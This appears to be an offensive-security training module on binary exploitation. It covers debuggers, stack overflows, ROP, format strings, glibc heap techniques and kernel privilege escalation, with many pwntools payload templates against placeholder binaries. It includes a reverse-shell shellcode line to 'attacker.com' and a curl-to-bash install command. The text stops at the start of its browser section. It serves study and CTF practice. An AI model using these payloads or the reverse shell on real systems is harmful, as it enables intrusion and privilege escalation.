<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->

# Binary Exploitation Deep Dive

`[MODE: RED]` | NERF Training Module | Last updated: 2026-03-14

---

## Table of Contents

1. [Toolchain & Environment](#1-toolchain--environment)
2. [Stack-Based Buffer Overflows](#2-stack-based-buffer-overflows)
3. [Return-Oriented Programming (ROP)](#3-return-oriented-programming-rop)
4. [Format String Exploitation](#4-format-string-exploitation)
5. [Heap Exploitation](#5-heap-exploitation)
6. [Kernel Exploitation](#6-kernel-exploitation)
7. [Browser Exploitation](#7-browser-exploitation)
8. [Mitigation Bypass Techniques](#8-mitigation-bypass-techniques)
9. [Methodology & Workflow](#9-methodology--workflow)

---

## 1. Toolchain & Environment

### 1.1 Debuggers

#### pwndbg (GDB Plugin)
- **Purpose**: Enhanced GDB for exploit development and reverse engineering
- **Key features**: Context display (registers, stack, disassembly, backtrace in one view), heap inspection commands, memory search, telescope command, enhanced breakpoint management
- **Arch support**: x86/x64, ARM, AARCH64, MIPS, PowerPC, RISC-V
- **Requirements**: GDB 12.1+, Python 3.10+
- **Install**: `pip install pwndbg` or clone + `./setup.sh`
- **Key commands**:
  - `context` -- full state display
  - `heap` / `bins` / `vis_heap_chunks` -- heap state inspection
  - `telescope $rsp 20` -- dereference chain from stack pointer
  - `search -s "/bin/sh"` -- find strings in memory
  - `vmmap` -- virtual memory map with permissions
  - `checksec` -- binary security properties
  - `cyclic 200` / `cyclic -l 0x61616166` -- pattern create/offset find
  - `got` -- GOT table display
  - `plt` -- PLT entries
  - `retaddr` -- find return addresses on stack
  - `rop` -- search for ROP gadgets

#### GEF (GDB Enhanced Features)
- **Purpose**: Single-file GDB extension, zero dependencies
- **Arch support**: x86-32/64, ARMv5/6/7, AARCH64, SPARC, MIPS, PowerPC
- **Key features**: Pattern generation, ROP assistance, heap analysis, format string helpers, runtime memory inspection
- **Install**: `bash -c "$(curl -fsSL https://gef.blah.cat/sh)"`
- **Key commands**:
  - `gef config` -- runtime configuration
  - `pattern create 100` / `pattern offset $pc`
  - `heap chunks` / `heap bins`
  - `format-string-helper` -- automated format string analysis
  - `xinfo <addr>` -- detailed address information
  - `scan` -- search for value patterns in memory

### 1.2 Exploit Development Frameworks

#### pwntools (Python)
- **Purpose**: CTF and exploit development framework
- **Key modules**:
  - `pwn.tubes` -- I/O abstraction (process, remote, SSH, serial)
  - `pwn.elf` -- ELF parsing, symbol/GOT/PLT resolution
  - `pwn.rop` -- Automated ROP chain construction
  - `pwn.shellcraft` -- Shellcode generation (multi-arch)
  - `pwn.fmtstr` -- Format string exploit automation
  - `pwn.asm` / `pwn.disasm` -- Inline assembly/disassembly
  - `pwn.dynelf` -- Remote symbol resolution via info leak
  - `pwn.gdb` -- GDB integration for debugging exploits
- **Supported architectures**: x86, x64, ARM, AARCH64, MIPS, PowerPC, SPARC
- **Install**: `pip install pwntools`
- **Core patterns**:
```python
from pwn import *

# Connect to target
p = process('./vuln')           # local
p = remote('target.com', 1337)  # remote

# ELF analysis
elf = ELF('./vuln')
libc = ELF('./libc.so.6')

# ROP chain
rop = ROP(elf)
rop.call('system', [next(elf.search(b'/bin/sh'))])

# Format string
payload = fmtstr_payload(offset, {elf.got['printf']: elf.sym['win']})

# Shellcode
shellcode = asm(shellcraft.sh())

# Send payload
p.sendline(payload)
p.interactive()
```

### 1.3 Gadget Finders

#### ROPgadget
- **Formats**: ELF, PE, Mach-O, Raw
- **Architectures**: x86, x64, ARM, ARM64, MIPS, PowerPC, SPARC, RISC-V 64, RISC-V Compressed
- **Search engines**: ROP (ret-terminated), JOP (jmp-terminated), SYS (syscall gadgets)
- **Features**: Automated ROP chain generation, opcode search, regex filtering, bad byte rejection, configurable search depth
- **Usage**:
```bash
ROPgadget --binary ./vuln                         # find all gadgets
ROPgadget --binary ./vuln --ropchain              # auto-generate chain
ROPgadget --binary ./vuln --only "pop|ret"        # filter gadgets
ROPgadget --binary ./vuln --badbytes "0a0d00"     # exclude bad chars
ROPgadget --binary ./vuln --depth 15              # deeper search
ROPgadget --binary ./vuln --string "/bin/sh"      # find strings
ROPgadget --binary ./vuln --opcode "c3"           # find by opcode
ROPgadget --binary ./vuln --range 0x400000-0x500000  # address range
```

#### one_gadget
- **Purpose**: Find single-gadget `execve('/bin/sh', NULL, NULL)` offsets in libc
- **Architectures**: i386, amd64, aarch64
- **Usage**:
```bash
one_gadget /lib/x86_64-linux-gnu/libc.so.6           # find gadgets
one_gadget -b <buildid>                                # by build ID
one_gadget /path/to/libc --near exit,mkdir             # near functions
one_gadget /path/to/libc --level 1                     # show all gadgets
one_gadget /path/to/libc --script exploit.sh           # iterate with script
```
- **Output**: Offset + constraints (e.g., `[rsp+0x70] == NULL`, register requirements)
- **Integration**: Use offset + libc base to overwrite `__malloc_hook`, `__free_hook`, GOT entries, or return addresses

### 1.4 Static Analysis & Reverse Engineering

#### Ghidra (NSA)
- **Key features**: Decompiler (C pseudocode output), disassembly, control flow graphing, scripting (Java/Python), collaborative multi-user RE, data type management, cross-references, patch diffing
- **Processor support**: x86, x64, ARM, AARCH64, MIPS, PowerPC, SPARC, AVR, PIC, 68K, and many more
- **Use in VR**: Identify vulnerable functions, trace data flows, understand heap object layouts, find gadgets in decompiled output, analyze patch diffs for 1-day development

#### radare2
- **Key features**: Disassembly (50+ architectures), debugging (local + remote gdb/windbg), binary analysis, emulation (ESIL), scripting (r2pipe, embedded JS), hex editing
- **Key commands**: `aaa` (analyze), `afl` (list functions), `pdf` (disassemble function), `s` (seek), `px` (hexdump), `VV` (visual graph mode)
- **Extensions**: r2ghidra (decompiler), r2frida (dynamic instrumentation), r2dec (decompiler)

#### Rizin (radare2 fork)
- **Improvements over r2**: Cleaner codebase, better API stability, improved usability
- **Scripting**: rzpipe (Python, Rust, Go, Ruby, Haskell, OCaml)
- **Tools**: `rz-asm` (assembler), `rz-diff` (binary diffing), `rz-hash` (hashing), `rz-find` (pattern search)

#### angr (Symbolic Execution)
- **Key features**: Symbolic execution, CFG recovery, value-set analysis, binary lifting to VEX IR, constraint solving (z3), program instrumentation, decompilation
- **Use cases**: Automated exploit generation, CTF solving, vulnerability discovery, patch analysis
- **Core API**:
```python
import angr

proj = angr.Project('./binary')
state = proj.factory.entry_state()
simgr = proj.factory.simulation_manager(state)
simgr.explore(find=0x401234, avoid=0x401300)  # find path to target
print(simgr.found[0].posix.dumps(0))          # extract input
```

---

## 2. Stack-Based Buffer Overflows

### 2.1 Stack Layout (x86-64)

```
High addresses
+---------------------------+
|       main() locals       |
+---------------------------+
|    return address (RIP)   |  <-- overwrite target
+---------------------------+
|     saved RBP (SFP)       |  <-- saved frame pointer
+---------------------------+
|    vuln() local buffer    |  <-- overflow source
+---------------------------+
|         ...               |
Low addresses
```

**Key registers**:
- `RSP` / `ESP` -- stack pointer (top of stack)
- `RBP` / `EBP` -- base/frame pointer (bottom of current frame)
- `RIP` / `EIP` -- instruction pointer (next instruction to execute)

### 2.2 Exploitation Methodology

**Phase 1: Reconnaissance**
```bash
# Check binary protections
checksec --file=./vuln
# Output: RELRO, Stack Canary, NX, PIE, RPATH, RUNPATH, Symbols, FORTIFY

file ./vuln           # architecture, linking, stripped?
strings ./vuln        # interesting strings, function names
readelf -s ./vuln     # symbol table
objdump -d ./vuln     # full disassembly
ldd ./vuln            # linked libraries
```

**Phase 2: Vulnerability identification**
- Dangerous functions: `gets()`, `strcpy()`, `strcat()`, `sprintf()`, `scanf("%s")`, `read()` with wrong size
- Look for: missing bounds checks, off-by-one errors, integer overflows affecting buffer sizes
- Decompile in Ghidra: trace user input to buffer operations, note buffer sizes vs. input limits

**Phase 3: Offset determination**
```python
# Method 1: cyclic pattern (pwntools)
from pwn import *
cyclic(200)                    # generate pattern
cyclic_find(0x61616166)        # find offset from crash value

# Method 2: GDB
# gdb> pattern create 200
# gdb> run < <(python3 -c "print('A'*200)")
# gdb> pattern offset $rsp
```

**Phase 4: Control flow hijack**
```python
from pwn import *

offset = 72  # determined from Phase 3
target = 0x401234  # win function / shellcode / ROP chain

payload = b'A' * offset
payload += p64(target)

p = process('./vuln')
p.sendline(payload)
p.interactive()
```

### 2.3 Shellcode Injection (NX disabled)

When the stack is executable (no NX/DEP):
```python
from pwn import *

context.arch = 'amd64'
shellcode = asm(shellcraft.sh())  # execve('/bin/sh', 0, 0)

# NOP sled + shellcode approach
nop_sled = asm('nop') * 100
payload = nop_sled + shellcode
payload += b'A' * (offset - len(payload))
payload += p64(stack_addr)  # jump into NOP sled
```

**Common shellcodes**:
- `shellcraft.sh()` -- `/bin/sh`
- `shellcraft.cat('flag.txt')` -- read file
- `shellcraft.connect('attacker.com', 4444) + shellcraft.dupsh()` -- reverse shell
- `shellcraft.syscall('SYS_execve', '/bin/sh', 0, 0)` -- raw syscall

### 2.4 ret2win (Simplest Case)

Binary contains a "win" function that prints the flag or spawns a shell:
```python
payload = b'A' * offset + p64(elf.sym['win'])
```

For x86-64, if the target function takes arguments:
```python
rop = ROP(elf)
rop.raw(b'A' * offset)
rop.call('win', [0xdeadbeef, 0xcafebabe])  # sets up RDI, RSI via gadgets
p.sendline(rop.chain())
```

### 2.5 ret2libc

Redirect execution to libc functions (bypasses NX):
```python
# Need: libc base address (via leak)
libc_base = leaked_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

# x86-64: arguments via registers
rop = ROP(elf)
rop.raw(b'A' * offset)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
rop.raw(p64(pop_rdi))
rop.raw(p64(bin_sh_addr))
rop.raw(p64(system_addr))
p.sendline(rop.chain())
```

### 2.6 Stack Pivoting

When overflow length is limited, pivot the stack to a controlled region:
```
Gadgets needed:
  leave; ret    -->  mov rsp, rbp; pop rbp; ret
  xchg rsp, rax
  pop rsp; ret
```
```python
# Write ROP chain to known-address buffer (e.g., .bss, heap)
# Then pivot:
payload = b'A' * (offset - 8)
payload += p64(controlled_buffer_addr)  # new RBP
payload += p64(leave_ret_gadget)        # leave; ret -> pivots to buffer
```

---

## 3. Return-Oriented Programming (ROP)

### 3.1 Core Concept

ROP chains together small instruction sequences ("gadgets") ending in `ret` that already exist in the binary/libraries. Each gadget performs a small operation (pop register, move data, syscall), and the chain of return addresses on the stack sequences them into arbitrary computation. **[CONFIRMED]**

### 3.2 Gadget Types

| Gadget Class | Example | Purpose |
|---|---|---|
| Register load | `pop rdi; ret` | Set function arguments |
| Register move | `mov rdi, rax; ret` | Transfer values between registers |
| Memory read | `mov rax, [rdi]; ret` | Arbitrary read primitive |
| Memory write | `mov [rdi], rax; ret` | Arbitrary write primitive |
| Syscall | `syscall; ret` | Invoke kernel |
| Stack pivot | `xchg rsp, rax; ret` | Redirect stack |
| Arithmetic | `add rax, rbx; ret` | Compute values |
| Conditional | `cmovne rax, rbx; ret` | Conditional data flow |
| NOP equivalent | `ret` | Stack alignment (16-byte) |

### 3.3 x86-64 Calling Convention

```
Argument 1: RDI
Argument 2: RSI
Argument 3: RDX
Argument 4: RCX
Argument 5: R8
Argument 6: R9
Syscall number: RAX
Syscall instruction: syscall
Return value: RAX
```

**Stack alignment**: x86-64 System V ABI requires 16-byte stack alignment before `call`. Misalignment causes SIGSEGV in libc functions using SSE (e.g., `system()`, `printf()`). Fix: insert an extra `ret` gadget before the call.

### 3.4 ROP Chain Construction Methodology

**Step 1: Enumerate gadgets**
```bash
ROPgadget --binary ./vuln --only "pop|ret"
ROPgadget --binary ./vuln --only "mov|ret"
ROPgadget --binary ./libc.so.6 --ropchain  # auto-chain
ropper --file ./vuln --search "pop rdi"
```

**Step 2: Plan the chain**
```
Goal: execve("/bin/sh", NULL, NULL)

Chain plan:
  pop rax; ret        -> 0x3b (SYS_execve)
  pop rdi; ret        -> addr of "/bin/sh"
  pop rsi; ret        -> 0x0 (NULL)
  pop rdx; ret        -> 0x0 (NULL)
  syscall; ret
```

**Step 3: Build with pwntools**
```python
from pwn import *

elf = ELF('./vuln')
rop = ROP(elf)

# Manual chain
chain  = p64(pop_rax) + p64(0x3b)
chain += p64(pop_rdi) + p64(bin_sh_addr)
chain += p64(pop_rsi) + p64(0)
chain += p64(pop_rdx) + p64(0)
chain += p64(syscall_ret)

# Or automated
rop = ROP([elf, libc])
rop.execve(bin_sh_addr, 0, 0)
chain = rop.chain()
```

### 3.5 Sigreturn-Oriented Programming (SROP)

Abuse the `sigreturn` syscall to set all registers at once:
```python
from pwn import *

frame = SigreturnFrame()
frame.rax = 0x3b          # SYS_execve
frame.rdi = bin_sh_addr   # "/bin/sh"
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
frame.rsp = stack_addr    # for stack continuation

payload  = b'A' * offset
payload += p64(pop_rax)
payload += p64(0xf)       # SYS_rt_sigreturn
payload += p64(syscall_addr)
payload += bytes(frame)
```

### 3.6 ret2csu / ret2dlresolve

**ret2csu**: Abuse `__libc_csu_init` gadgets (present in most ELFs) for controlling RDI, RSI, RDX:
```
Gadget 1 (pop sequence):
  pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret

Gadget 2 (call + move):
  mov rdx, r14; mov rsi, r13; mov edi, r12d
  call [r15 + rbx*8]
```

**ret2dlresolve**: Force the dynamic linker to resolve an arbitrary symbol:
```python
from pwn import *

rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.read(0, dlresolve.data_addr)  # read payload into .bss
rop.ret2dlresolve(dlresolve)
```

---

## 4. Format String Exploitation

### 4.1 Vulnerability Mechanism

When user input is passed directly as the format string argument:
```c
// VULNERABLE
printf(user_input);

// SAFE
printf("%s", user_input);
```

The `printf` family reads arguments from the stack (32-bit) or registers then stack (64-bit) according to format specifiers. Attacker-controlled format strings let you read from and write to arbitrary memory. **[CONFIRMED]**

### 4.2 Key Specifiers

| Specifier | Action | Use Case |
|---|---|---|
| `%x` | Print DWORD hex from stack | Leak stack values |
| `%lx` | Print QWORD hex from stack | Leak 64-bit values |
| `%p` | Print pointer (with 0x prefix) | Leak addresses |
| `%s` | Dereference as char pointer, print string | Arbitrary read |
| `%n` | Write count of chars printed to address | Arbitrary write (4 bytes) |
| `%hn` | Write count as short (2 bytes) | Partial write |
| `%hhn` | Write count as byte (1 byte) | Byte-level write |
| `%N$x` | Direct parameter access (positional) | Target specific stack offset |

### 4.3 Information Leak Methodology

**Step 1: Find offset** -- determine which positional argument contains your input:
```python
# Send "AAAA.%p.%p.%p.%p.%p.%p.%p.%p"
# Look for 0x41414141 in output -> that's your offset

# Automated
for i in range(1, 50):
    p = process('./vuln')
    p.sendline(f'AAAA%{i}$x')
    result = p.recvline()
    if b'41414141' in result:
        print(f'Offset: {i}')
        break
    p.close()
```

**Step 2: Leak specific addresses**:
```python
# Leak GOT entry (get libc address)
payload = p64(elf.got['puts']) + b'%7$s'  # offset 7 example
# Note: on 64-bit, null bytes in addresses can terminate printf
# Solution: put address AFTER format specifier
payload = b'%9$s' + b'PADDING' + p64(elf.got['puts'])
```

**Step 3: Leak stack canary, saved RBP, return address**:
```python
# Stack canary is typically at a known offset
# Canaries on x86-64 always end in \x00 (null byte)
canary = int(p.recv(16), 16)  # from %X$p leak
```

### 4.4 Arbitrary Write

**Basic write**: `%n` writes the number of characters output so far:
```python
# Write value 0x42 to target_addr
# Output 0x42 = 66 characters, then %n
payload = b'A' * 66 + b'%7$n'  # writes 66 to addr at offset 7
```

**Large value writes**: Split into 2-byte or 1-byte writes:
```python
# Write 0xdeadbeef to target
# %hn writes: 2 bytes at a time
# %hhn writes: 1 byte at a time
# Use width specifier to control count: %100c pads 100 chars
```

**pwntools automation**:
```python
from pwn import *

# Overwrite GOT entry: printf -> system
writes = {elf.got['printf']: elf.sym['system']}
payload = fmtstr_payload(offset, writes, numbwritten=0)

# With custom settings
payload = fmtstr_payload(
    offset,
    writes,
    numbwritten=0,         # bytes already printed
    write_size='short',    # 'byte', 'short', or 'int'
)
```

### 4.5 GOT Overwrite via Format String

Classic technique combining arbitrary write with GOT hijacking:
```python
# Overwrite printf@GOT with system@PLT
# Next call to printf(user_input) becomes system(user_input)
# Send "/bin/sh" as input -> shell

payload = fmtstr_payload(offset, {elf.got['printf']: elf.sym['system']})
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()
```

### 4.6 Format String to Full Exploit Chain

1. **Leak libc** via `%s` on GOT entry -> calculate libc base
2. **Leak stack canary** via `%p` at known offset -> bypass canary
3. **Leak stack address** via `%p` -> defeat ASLR on stack
4. **Write** one_gadget or `system` address to `__malloc_hook`, `__free_hook`, GOT entry, or return address
5. **Trigger** the hijacked pointer

---

## 5. Heap Exploitation

### 5.1 glibc malloc Internals

**Chunk structure** (allocated):
```
+-------------------+
| prev_size (8B)    |  (only if previous chunk is free)
+-------------------+
| size | A | M | P  |  size of chunk, flags: non-main arena, mmap'd, prev-in-use
+-------------------+
| user data         |  <-- returned pointer
| ...               |
+-------------------+
```

**Chunk structure** (freed):
```
+-------------------+
| prev_size (8B)    |
+-------------------+
| size | A | M | P  |
+-------------------+
| fd (fwd pointer)  |  <-- points to next free chunk
+-------------------+
| bk (back pointer) |  <-- points to previous free chunk
+-------------------+
| ...               |
+-------------------+
```

**Bin types**:
- **Tcache** (glibc >= 2.26): Per-thread cache, singly-linked LIFO, 64 bins (size 0x20-0x410), 7 entries each. Fastest allocation path, fewest security checks.
- **Fastbins**: Singly-linked LIFO, 10 bins (size 0x20-0xb0 on x64). No coalescing. Basic double-free check (head comparison only).
- **Unsorted bin**: Doubly-linked, single bin. Recently freed chunks land here first (except fastbin/tcache-sized). Acts as a cache before sorting into small/large bins.
- **Small bins**: Doubly-linked FIFO, 62 bins (size 0x20-0x3f0). Exact-size matching.
- **Large bins**: Doubly-linked, sorted by size, 63 bins. Range-based sizing.

### 5.2 Use-After-Free (UAF) -- T1210

**Concept**: Object is freed but pointer is still accessible. Attacker allocates new object of same size that occupies the freed memory, then uses the dangling pointer to access/modify the new object.

```c
struct user {
    char name[32];
    int is_admin;
};

struct user *u = malloc(sizeof(struct user));
free(u);                     // u is freed
// u is not set to NULL -> dangling pointer

char *evil = malloc(32);     // may reuse same memory
memset(evil, 'A', 32);
evil[32] = 1;                // overwrites u->is_admin

if (u->is_admin) { ... }    // UAF: checks freed memory
```

**Exploitation pattern**:
1. Allocate victim object (function pointer, vtable, etc.)
2. Free victim object (dangling pointer retained)
3. Allocate attacker-controlled data of same size (occupies freed slot)
4. Trigger use of dangling pointer -> attacker data interpreted as victim struct

### 5.3 Double Free

**Concept**: Free the same chunk twice to get it returned by malloc twice, enabling overlapping allocations.

**Classic fastbin double free** (`fastbin_dup`):
```c
void *a = malloc(0x20);
void *b = malloc(0x20);  // prevent consecutive same-chunk check
free(a);
free(b);
free(a);  // a is now in fastbin twice: a -> b -> a

void *c = malloc(0x20);  // returns a
// Write target address into c's fd pointer
*(size_t *)c = target_addr;
void *d = malloc(0x20);  // returns b
void *e = malloc(0x20);  // returns a again
void *f = malloc(0x20);  // returns target_addr!
```

**Tcache double free** -- glibc 2.26-2.28 had no double-free check:
```c
free(a);
free(a);  // worked directly, no interleave needed
```

**glibc >= 2.29**: Tcache key field prevents naive double free. Bypass: corrupt the key field before second free, or use `house_of_botcake` (free into tcache, fill tcache, free into unsorted bin, create overlapping chunks).

### 5.4 Tcache Poisoning (glibc >= 2.26)

Overwrite the `fd` pointer of a freed tcache chunk to return arbitrary addresses:

```c
void *a = malloc(0x20);
free(a);
// Overwrite a->fd (via UAF, overflow, etc.)
*(size_t *)a = target_addr;  // point fd to target
void *b = malloc(0x20);      // returns a
void *c = malloc(0x20);      // returns target_addr
```

**glibc >= 2.32**: Safe-linking (PROTECT_PTR) encrypts fd pointers:
```
fd_encrypted = (chunk_addr >> 12) ^ target_addr
```
Bypass: leak a heap address to recover the XOR key, then encrypt your target address.

### 5.5 House-of Techniques

#### House of Force (glibc < 2.29)
Overwrite the top chunk size to a very large value (e.g., `0xffffffffffffffff`), then request a carefully calculated allocation size to make the top chunk pointer wrap around to a target address. Next malloc returns near target.

```python
# Overwrite top chunk size to -1 (0xffffffffffffffff)
# Calculate distance: target_addr - top_chunk_addr - header_size
# malloc(distance) -> advances top chunk to target
# malloc(0x20) -> returns target area
```

#### House of Spirit
Create a fake chunk in attacker-controlled memory (e.g., stack), free it into the fastbin/tcache, then malloc returns the fake chunk, giving control over the target region.

```c
// Fake chunk on stack/bss
size_t fake_chunk[4];
fake_chunk[0] = 0;        // prev_size
fake_chunk[1] = 0x40;     // size (valid fastbin/tcache size + prev_inuse)
// Also need valid next chunk size for fastbin security check

free(&fake_chunk[2]);      // free fake chunk
void *p = malloc(0x30);   // returns &fake_chunk[2]
```

#### House of Einherjar
Exploit a single null byte overflow to manipulate chunk consolidation:
1. Overflow null byte into next chunk's size field, clearing PREV_INUSE flag
2. Set fake `prev_size` to point backward to a fake chunk
3. When the corrupted chunk is freed, backward consolidation merges with the fake chunk
4. Next allocation overlaps controlled memory

#### House of Orange (glibc < 2.26)
Achieve code execution without calling `free()`:
1. Corrupt top chunk size to trigger `sysmalloc` -> frees old top chunk into unsorted bin
2. Forge fake `_IO_FILE_plus` structure in the freed chunk
3. Trigger `_IO_flush_all_lockp` (via malloc failure, exit, etc.)
4. Vtable hijack executes attacker's function pointer

#### House of Botcake (glibc >= 2.26)
Bypass tcache double-free protections:
1. Fill tcache bin (7 entries)
2. Free chunk A -> goes to unsorted bin
3. Free chunk B (adjacent to A) -> consolidation with A in unsorted bin
4. Drain one tcache entry
5. Free B again -> goes to tcache (double free: B is in both unsorted and tcache)
6. Malloc to get overlapping regions

#### House of Lore
Corrupt smallbin bk pointer to return nearly arbitrary address:
1. Free chunk into smallbin
2. Corrupt bk pointer to point to fake chunk
3. Fake chunk's bk must point to a writable address
4. Two allocations from smallbin: first returns real chunk, second returns fake chunk

#### House of Storm (glibc < 2.29)
Combine unsorted bin and large bin attacks:
1. Free two chunks: one into unsorted bin, one into large bin
2. Corrupt unsorted bin chunk's bk and large bin chunk's bk_nextsize
3. Malloc triggers sorting into large bin, writing pointers to target
4. Next malloc from unsorted bin returns near target address

#### House of Roman (glibc < 2.29)
Achieve RCE without any leaks using relative overwrites:
1. Partial overwrite fastbin fd to redirect to `__malloc_hook` region
2. Partial overwrite of `__malloc_hook` to one_gadget offset
3. Trigger allocation to execute one_gadget
4. Relies on 4-bit bruteforce (1/16 probability) due to ASLR partial page randomization

#### House of Water (leakless, latest glibc)
Gain tcache metadata control without leaking addresses:
1. Manipulate tcache metadata through carefully sequenced allocations and frees
2. Achieve libc linking through controlled heap state
3. Works against PROTECT_PTR by controlling the XOR key

#### House of Tangerine (glibc >= 2.26)
Top chunk manipulation targeting tcache:
1. Corrupt top chunk to trigger `sysmalloc`
2. Old top chunk goes through free path into tcache
3. Control tcache entries through the freed top chunk

### 5.6 Unsorted Bin Attack (glibc < 2.29)

Overwrite the `bk` pointer of a chunk in the unsorted bin. When the chunk is removed, `unsorted_bin->bk->fd` is written with the address of the unsorted bin (a libc main_arena address). Useful for overwriting `global_max_fast` to expand fastbin range.

### 5.7 Large Bin Attack

Corrupt `bk_nextsize` or `bk` of a large bin chunk. When a new chunk is sorted into the bin, pointers are written to attacker-controlled locations. Used to write heap/libc addresses to arbitrary memory (e.g., `_IO_list_all`, `global_max_fast`).

### 5.8 Safe-Linking Bypass (glibc >= 2.32)

Tcache and fastbin fd pointers are now encrypted:
```c
#define PROTECT_PTR(pos, ptr) ((size_t)(pos) >> 12) ^ (size_t)(ptr)
#define REVEAL_PTR(pos, ptr)  PROTECT_PTR(pos, ptr)  // same operation
```

**Bypass methods**:
- Leak heap address -> recover XOR key (`heap_addr >> 12`)
- `decrypt_safe_linking`: First freed chunk has fd = `(chunk_addr >> 12) ^ 0` = `chunk_addr >> 12`, directly leaking the key
- `safe_link_double_protect`: Apply PROTECT_PTR twice to cancel out encryption

### 5.9 Heap Inspection Commands

```
# pwndbg
heap                  # overview
bins                  # all bin contents
vis_heap_chunks       # visual chunk layout
tcachebins            # tcache state
fastbins              # fastbin state
unsortedbin           # unsorted bin
smallbins / largebins # sorted bins
find_fake_fast <addr> # find nearby fake fastbin candidates
malloc_chunk <addr>   # parse chunk at address
top_chunk             # top chunk info

# GEF
heap chunks
heap bins
heap arenas
```

---

## 6. Kernel Exploitation

### 6.1 Kernel Attack Surface

| Vector | Description | Examples |
|---|---|---|
| Syscalls | Kernel entry points from userspace | ioctl, bpf, socket operations |
| Drivers | Device driver interfaces | `/dev/*`, USB, network drivers |
| File systems | VFS and FS implementations | ext4, fuse, overlayfs |
| Networking | Protocol implementations | Netfilter, nftables, TCP/IP stack |
| eBPF | In-kernel bytecode engine | Verifier bypass, JIT bugs |

### 6.2 Vulnerability Classes

**Use-After-Free**: Most common kernel vuln class. Objects freed in one path, referenced in another. Often race-condition triggered.
- Cross-cache UAF: victim object and spray object in different slab caches
- Page-level UAF: exploit page allocator instead of slab allocator

**Race Conditions**: TOCTOU, scheduler-based, interrupt-based.
- `userfaultfd`: trap kernel on page fault in user-controlled memory, widen race window
- `FUSE`: similar page-fault trapping via filesystem
- `io_uring`: asynchronous syscall interface creating new race surfaces

**Heap Overflow**: Write beyond allocated slab object boundary.
- Target adjacent objects in same slab cache
- Heap feng shui: shape slab layout via controlled allocations/deallocations

**Integer Overflow/Truncation**: Size calculations that wrap or truncate, leading to undersized allocations.

**Type Confusion**: Object interpreted as wrong type after complex state transitions.

### 6.3 Kernel Exploit Primitives

**Arbitrary read**:
- `msg_msg` structure spray (kmalloc-64 through kmalloc-4096)
- `seq_operations` read primitive
- Pipe buffer manipulation
- `add_key` + `keyctl_read` for reading kernel memory

**Arbitrary write**:
- `msg_msg` with corrupted segment pointer
- Pipe buffer with corrupted page pointer (Dirty Pipe, CVE-2022-0847)
- `modprobe_path` overwrite (data-only, no code execution needed)
- `cred` structure modification

**Code execution**:
- `commit_creds(prepare_kernel_cred(0))` -> root
- ROP chain via corrupted function pointer
- JIT spray (eBPF, historical)

### 6.4 Kernel Mitigations

| Mitigation | What it Protects | Bypass Technique |
|---|---|---|
| KASLR | Randomizes kernel base address | Info leak, side-channel (EntryBleed CVE-2022-4543), timing attacks, prefetch-based |
| SMEP | Prevents kernel executing userspace pages | ROP in kernel, ret2dir |
| SMAP | Prevents kernel accessing userspace memory | Kernel ROP to disable, `copy_from_user` gadgets |
| KPTI | Separate page tables for kernel/user | Already in kernel context during exploit |
| CFI/FineIBT | Indirect call target validation | Data-only attacks, type-confused targets, gadgets at valid targets |
| SLAB randomization | Randomize slab freelist order | Cross-cache spray, heap feng shui |
| Freelist hardening | Encrypt slab freelists (similar to safe-linking) | Info leak to recover key |
| Stack canaries | Detect stack buffer overflow | Info leak, direct jump over canary |
| SELinux/AppArmor | MAC restrictions on exploit impact | Namespace escapes, allowed operations only |

### 6.5 Kernel Exploitation Methodology

**Phase 1: Environment setup**
```bash
# Build vulnerable kernel
make menuconfig  # disable KASLR, SMEP, SMAP for initial dev
# Boot with: nokaslr nosmep nosmap

# QEMU testing
qemu-system-x86_64 \
  -kernel bzImage \
  -initrd rootfs.cpio \
  -append "console=ttyS0 nokaslr" \
  -nographic -s -S  # -s for gdb, -S to pause
```

**Phase 2: Trigger vulnerability**
```c
// Typical kernel exploit skeleton
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>

int main() {
    int fd = open("/dev/vulnerable", O_RDWR);

    // Trigger UAF / overflow / race
    ioctl(fd, VULN_IOCTL, &payload);

    // Spray objects to reclaim freed memory
    for (int i = 0; i < SPRAY_COUNT; i++) {
        // Use msg_msg, pipe_buffer, add_key, etc.
    }

    // Trigger use of dangling pointer
    // -> reads/writes attacker-controlled object

    return 0;
}
```

**Phase 3: Privilege escalation**
```c
// Option 1: commit_creds (requires code execution)
void escalate() {
    commit_creds(prepare_kernel_cred(NULL));
}

// Option 2: modprobe_path overwrite (data-only)
// Overwrite modprobe_path to "/tmp/x"
// /tmp/x contains: #!/bin/sh\nchmod 777 /flag
// Trigger unknown binary format -> kernel executes /tmp/x as root

// Option 3: cred structure overwrite
// Find current task's cred struct, set uid/gid/euid/egid to 0

// After escalation:
system("/bin/sh");
```

### 6.6 Notable Kernel Exploits

| CVE | Vuln Type | Technique | Impact |
|---|---|---|---|
| CVE-2022-0847 (Dirty Pipe) | Logic bug in pipe splice | Pipe buffer page cache poisoning | Arbitrary file overwrite |
| CVE-2024-1086 | UAF in nftables | Double-free, DirtyCred | LPE, container escape |
| CVE-2021-22555 | Heap OOB write in Netfilter | msg_msg spray, modprobe_path | LPE |
| CVE-2022-0185 | Heap overflow in VFS | msg_msg, cred overwrite | LPE, container escape |
| CVE-2020-8835 | eBPF verifier bypass | OOB r/w, modprobe_path | LPE |
| CVE-2022-2588 | UAF in route4 | Cross-cache, DirtyCred | LPE |
| CVE-2022-34918 | Heap overflow in nftables | msg_msg, ROP | LPE |

### 6.7 Kernel Debugging Setup

```bash
# GDB with pwndbg/GEF
gdb vmlinux
target remote :1234   # connect to QEMU gdbserver

# Useful commands
lx-ps                 # list processes
lx-symbols            # load kernel module symbols
p init_task           # kernel task struct
p &modprobe_path      # find modprobe_path address
```

---

## 7. Browser Exploitation

### 7.1 Attack Surface

Modern browsers present a multi-layered attack surface:

| Component | Vulnerability Class | Sandbox Escape Needed? |
|---|---|---|
| JavaScript engine (V8, SpiderMonkey, JSC) | JIT bugs, type confusion, OOB access | Yes (renderer sandbox) |
| DOM/Blink/WebKit renderer | UAF, type confusion, buffer overflow | Yes |
| WebAssembly | Memory safety issues, JIT bugs | Yes |
